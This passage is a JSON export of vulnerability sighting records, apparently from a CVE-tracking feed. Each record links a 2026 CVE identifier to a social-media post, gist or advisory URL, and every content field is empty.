"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3meurxwrjyd2i", "content": "", "creation_timestamp": "2026-02-15T05:19:34.063621Z"}, {"uuid": "03ee9d21-411d-44c4-8768-95a346fb3177", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mexum6lm6y2a", "content": "", "creation_timestamp": "2026-02-16T10:44:40.521415Z"}, {"uuid": "bdee3fd1-31e3-4d40-874b-dad88cd53914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mexumsziti22", "content": "", "creation_timestamp": "2026-02-16T10:45:01.889456Z"}, {"uuid": "371dc41c-9456-471f-ab44-9d4f74c64a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2479", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfoflljj432o", "content": "", "creation_timestamp": "2026-02-25T09:47:07.977489Z"}, {"uuid": "c916ed9a-c879-405c-b6e9-fa738e29bef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mdmda6yzps2q", "content": "", "creation_timestamp": "2026-01-30T03:09:15.345770Z"}, {"uuid": "60eb39a5-9a80-439f-89e1-f66c54bdb13b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24789", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3menkd56asw23", "content": "", "creation_timestamp": "2026-02-12T08:14:02.118179Z"}, {"uuid": "25e0d04d-6a9e-41d9-925e-f30174e9dfc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116079955612554754", "content": "", "creation_timestamp": "2026-02-16T10:59:18.840952Z"}, {"uuid": "249a7f89-15c0-4588-8dd0-e2f8d2484a36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2416", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfofujwoqe2n", "content": "", "creation_timestamp": "2026-02-25T09:52:08.308125Z"}, {"uuid": "49f61873-2e1d-4223-a2e7-a88bbab2d83a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/calimegai.bsky.social/post/3mf6zi6lysh2o", "content": "", "creation_timestamp": "2026-02-19T07:00:33.011729Z"}, {"uuid": "0c626f80-0393-4abb-8138-5df94f793126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24890", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfxnegylw32u", "content": "", "creation_timestamp": "2026-03-01T02:00:16.060231Z"}, {"uuid": "9ee4c1d2-8a96-425c-8241-c3edc53b45ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://threatintel.cc/2026/03/05/cve-critical-telnetd-flaw-grants.html", "content": "", "creation_timestamp": "2026-03-05T12:07:25.000000Z"}, {"uuid": "6acdff6f-1af6-45bf-b172-2147caddef9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "MISP/f20bd5ae-cac7-43b7-aaa4-ff1d9fb419d8", "content": "", "creation_timestamp": "2026-02-23T13:44:49.000000Z"}, {"uuid": "efed845b-d808-4885-9c55-4be498e5e151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfq5kdwnho2j", "content": "", "creation_timestamp": "2026-02-26T02:28:35.948175Z"}, {"uuid": "b750533e-07be-470f-ae0d-92e1eaba3fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/reconbee.bsky.social/post/3mexyzwgxtk2m", "content": "", "creation_timestamp": "2026-02-16T12:04:01.529004Z"}, {"uuid": "3a231089-99df-48f5-b7d6-2605212a52cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdpbzn4j2mw2", "content": "", "creation_timestamp": "2026-01-31T07:25:44.894063Z"}, {"uuid": "f220579e-f529-46cb-a160-39b54e0c4df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mexzfk6zph2x", "content": "", "creation_timestamp": "2026-02-16T12:10:26.276421Z"}, {"uuid": "8150adfc-6146-4b60-afbf-c475ac0ad2c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24841", "type": "seen", "source": "https://gist.github.com/alon710/1f0c6ce8ba60cfb0f8654497361725d4", "content": "", "creation_timestamp": "2026-01-30T03:50:50.000000Z"}, {"uuid": "509dcfe3-0403-4c19-96cf-ee954dc04a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2495", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mf76in55v42x", "content": "", "creation_timestamp": "2026-02-19T08:30:16.531098Z"}, {"uuid": "0f6789d0-f2e8-49ad-ad97-02f8bfc53c5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/techsentiments.com/post/3mey2wn4nkh22", "content": "", "creation_timestamp": "2026-02-16T12:37:53.332692Z"}, {"uuid": "bbd80e8a-82df-47f9-8634-2ac4bb93289c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mey32quk2g2h", "content": "", "creation_timestamp": "2026-02-16T12:40:11.826453Z"}, {"uuid": "2ae0561c-b26d-4f02-8dd4-d25b820d9c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3mey37opny72x", "content": "", "creation_timestamp": "2026-02-16T12:42:57.179243Z"}, {"uuid": "051da565-2075-4155-a8e5-bdfee5d0d38b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24737", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mefat4pq3c2m", "content": "", "creation_timestamp": "2026-02-09T01:02:45.790647Z"}, {"uuid": "bb6441b2-5e07-4916-85d5-3265482c5833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24133", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mefat4pq3c2m", "content": "", "creation_timestamp": "2026-02-09T01:02:45.889137Z"}, {"uuid": "c24c1781-9095-41b1-9eb6-793e18fd604a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24892", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdepqsodl2s", "content": "", "creation_timestamp": "2026-02-21T00:32:17.343199Z"}, {"uuid": "0eaf0b4f-6911-464d-a11a-779abb13234b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24729", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdmka7s5lh2n", "content": "", "creation_timestamp": "2026-01-30T05:14:32.442564Z"}, {"uuid": "153f51e3-d230-4ead-b9f0-ceb100904414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116064985515242523", "content": "", "creation_timestamp": "2026-02-13T19:32:12.059716Z"}, {"uuid": "f890559c-026e-4a5a-b94d-b3c81aefcf3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mey3oqdpdz2r", "content": "", "creation_timestamp": "2026-02-16T12:51:22.387106Z"}, {"uuid": "bf04d3b5-83ea-423c-a357-a8c60cfcf5a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24941", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdeq6dldl2c", "content": "", "creation_timestamp": "2026-02-21T00:32:31.357719Z"}, {"uuid": "063c92d0-aa12-4231-b5ce-3010b3fae728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24714", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdmkj66y7p2c", "content": "", "creation_timestamp": "2026-01-30T05:19:32.965319Z"}, {"uuid": "dccc0fe2-e134-4ece-9d41-51a50fc1d3d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3meffmzgywt23", "content": "", "creation_timestamp": "2026-02-09T02:28:46.874983Z"}, {"uuid": "cfc3a107-ff3c-4314-b2a3-e82e93108612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24894", "type": "seen", "source": "https://gist.github.com/alon710/e1fca2fe758f5ed455faeb6f5f564e1d", "content": "", "creation_timestamp": "2026-02-12T21:10:24.000000Z"}, {"uuid": "74782c6f-4a5f-4c73-a972-bab5dcb87048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24728", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdmkkxprm62h", "content": "", "creation_timestamp": "2026-01-30T05:20:32.866047Z"}, {"uuid": "95d4874b-ab1e-46b5-98b8-9c1c7551cd49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24714", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdmmrmxi4o2g", "content": "", "creation_timestamp": "2026-01-30T06:00:04.939991Z"}, {"uuid": "b097d30f-b818-47bf-85fa-44b2afd68840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3melthgpxrc2b", "content": "", "creation_timestamp": "2026-02-11T15:52:11.036581Z"}, {"uuid": "bcbbb231-09a2-45ea-806b-bc71e17a397d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/dannypalmer.bsky.social/post/3mey4kpixjk2i", "content": "", "creation_timestamp": "2026-02-16T13:07:01.798950Z"}, {"uuid": "6a7b45c2-367b-4e97-84a8-bb98c08aac8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdmptk6omu62", "content": "", "creation_timestamp": "2026-01-30T06:54:53.250062Z"}, {"uuid": "9be73bfb-0e95-4c4b-8960-7262535c116b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24114", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3m7qglal2x", "content": "", "creation_timestamp": "2026-03-02T15:50:23.134269Z"}, {"uuid": "06e8fb08-8f7c-4cb5-b36b-9a232621e9b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mev5bjetd22w", "content": "", "creation_timestamp": "2026-02-15T08:41:48.024766Z"}, {"uuid": "5d6d6907-7c46-4572-9383-0cee8307aa2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24114", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116160373473894750", "content": "", "creation_timestamp": "2026-03-02T15:50:37.890576Z"}, {"uuid": "278552ef-fd0e-48bc-a76a-c3a12c24e5d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24107", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3mdd7qhr2o", "content": "", "creation_timestamp": "2026-03-02T15:52:23.503197Z"}, {"uuid": "03fdf134-02ba-46f1-b2f1-1d4b66507e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24502", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg6rdjfu3u2s", "content": "", "creation_timestamp": "2026-03-03T21:59:58.482208Z"}, {"uuid": "c293c15d-836d-45aa-ad06-fb9cbdbf6f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mev5umkxoc2w", "content": "", "creation_timestamp": "2026-02-15T08:52:30.215494Z"}, {"uuid": "be665a41-636e-4a67-a06c-a330ea457e45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24111", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3mprwfh52z", "content": "", "creation_timestamp": "2026-03-02T15:59:21.472654Z"}, {"uuid": "d112e32e-f616-4a76-9dc5-ee6e4cac87a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24502", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6rkk6yds2u", "content": "", "creation_timestamp": "2026-03-03T22:03:53.465314Z"}, {"uuid": "c96ac4a8-ed5e-4fed-ab56-c24953dcb1be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24898", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg6sfdl5hz25", "content": "", "creation_timestamp": "2026-03-03T22:18:53.291744Z"}, {"uuid": "5e332899-664b-41f6-b8fe-715c00e2d850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfb2qorlow23", "content": "", "creation_timestamp": "2026-02-20T02:28:31.220635Z"}, {"uuid": "8a145f67-4a29-4d34-b1b6-1be102f2f0d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfdl7c2sfx2k", "content": "", "creation_timestamp": "2026-02-21T02:28:20.958967Z"}, {"uuid": "8f866e03-dc37-424d-ad1e-29f95c398547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3me6p3had5s2z", "content": "", "creation_timestamp": "2026-02-06T10:29:18.356550Z"}, {"uuid": "08546cff-9033-4e80-85e9-0f9dda235e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3melx3uguk52p", "content": "", "creation_timestamp": "2026-02-11T16:57:16.962342Z"}, {"uuid": "3076106e-c96a-4d5d-b8d9-7592942d29c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3meycg2nsnnz2", "content": "", "creation_timestamp": "2026-02-16T14:51:53.338423Z"}, {"uuid": "1dd09ffb-8940-4845-bb27-14d2b0832e06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3meycib3cv623", "content": "", "creation_timestamp": "2026-02-16T14:53:00.835066Z"}, {"uuid": "c96fee7d-f2c7-4074-b384-b116034abe19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2473", "type": "seen", "source": "https://gist.github.com/alon710/98b680dec1f691be9f0f714049e38499", "content": "", "creation_timestamp": "2026-02-21T02:40:39.000000Z"}, {"uuid": "5851dc77-6b98-4c2c-9d95-6007e1fe6455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24110", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116160426592563947", "content": "", "creation_timestamp": "2026-03-02T16:04:07.804995Z"}, {"uuid": "376fd246-c5d3-4bb4-adeb-75bf698ce9ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0040", "content": "", "creation_timestamp": "2026-02-06T08:25:57.000000Z"}, {"uuid": "0933c2c8-25ad-4fc4-aefa-ca055a5e4fab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24109", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3n22nufx2n", "content": "", "creation_timestamp": "2026-03-02T16:05:06.367330Z"}, {"uuid": "eb9a74ee-10dc-4488-9909-e44b1ae97927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24115", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3n7zpghz2d", "content": "", "creation_timestamp": "2026-03-02T16:08:26.596976Z"}, {"uuid": "d3fab653-7462-43f4-b5a8-bafc36fd8970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3me6s3pnhy22z", "content": "", "creation_timestamp": "2026-02-06T11:23:10.985968Z"}, {"uuid": "85b2658c-7a31-47a6-b00a-5d04ef5bccc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3meydwswjvp2o", "content": "", "creation_timestamp": "2026-02-16T15:19:03.167487Z"}, {"uuid": "aada72b4-08e3-4bc6-adbc-99364145467d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://gist.github.com/malfisya/6f8ef95a6574df8892da4d730f5879b2", "content": "", "creation_timestamp": "2026-02-21T03:19:14.000000Z"}, {"uuid": "4e58c220-25cb-4f9a-aa26-4cd0852994e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://gist.github.com/malfisya/6f8ef95a6574df8892da4d730f5879b2", "content": "", "creation_timestamp": "2026-02-21T03:19:14.000000Z"}, {"uuid": "48fbb04d-3221-49ac-bd54-ad9f25543f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24789", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-041-02", "content": "", "creation_timestamp": "2026-02-10T11:00:00.000000Z"}, {"uuid": "e308a1c9-0a2f-41cf-aec1-218dd029a3a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3meyeflbfgvj2", "content": "", "creation_timestamp": "2026-02-16T15:27:20.647447Z"}, {"uuid": "09be6b40-fe06-4738-9787-4837f0f4c5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2495", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116091167026221371", "content": "", "creation_timestamp": "2026-02-18T10:30:30.744123Z"}, {"uuid": "96bb42bd-3140-48f6-9b0d-a4c0f0c3f56d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24956", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfkinxhjvm2s", "content": "", "creation_timestamp": "2026-02-23T20:31:30.002651Z"}, {"uuid": "0d404615-fa5f-4b3a-9ae7-d57fe0bd56e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24113", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3ngqnnyq2d", "content": "", "creation_timestamp": "2026-03-02T16:12:11.944638Z"}, {"uuid": "cca39a41-f34c-411f-aca1-d112f4304190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/androidcompl.bsky.social/post/3meygaczggg2u", "content": "", "creation_timestamp": "2026-02-16T16:00:09.854404Z"}, {"uuid": "8bdea7a3-ba9b-4311-9f3a-f2cc5e1a9528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2495", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mf4uqql2ge2n", "content": "", "creation_timestamp": "2026-02-18T10:30:32.313086Z"}, {"uuid": "3d6163fd-5ad7-4556-8f41-a3f2d912fe3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24696", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgfshyroej2o", "content": "", "creation_timestamp": "2026-03-06T17:09:00.031628Z"}, {"uuid": "ce3abe44-e857-45c8-a84d-1019d629b0d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mgbwpih2dm22", "content": "", "creation_timestamp": "2026-03-05T04:14:08.008032Z"}, {"uuid": "cbcc6dcb-8096-4c76-8f07-efe48c382e93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mdmu3eexhc2g", "content": "", "creation_timestamp": "2026-01-30T08:10:47.564902Z"}, {"uuid": "78302f0c-19f5-4893-91ae-fa787c3acfe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mgbwqzq2aw2s", "content": "", "creation_timestamp": "2026-03-05T04:14:59.337543Z"}, {"uuid": "2cff4588-206f-4e37-9f2e-9e9db075abbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/leekthehack.bsky.social/post/3meyhxpaeh22f", "content": "", "creation_timestamp": "2026-02-16T16:31:15.158683Z"}, {"uuid": "d5f2619b-f227-462c-a698-1745ae75493b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24108", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3oad7qef2k", "content": "", "creation_timestamp": 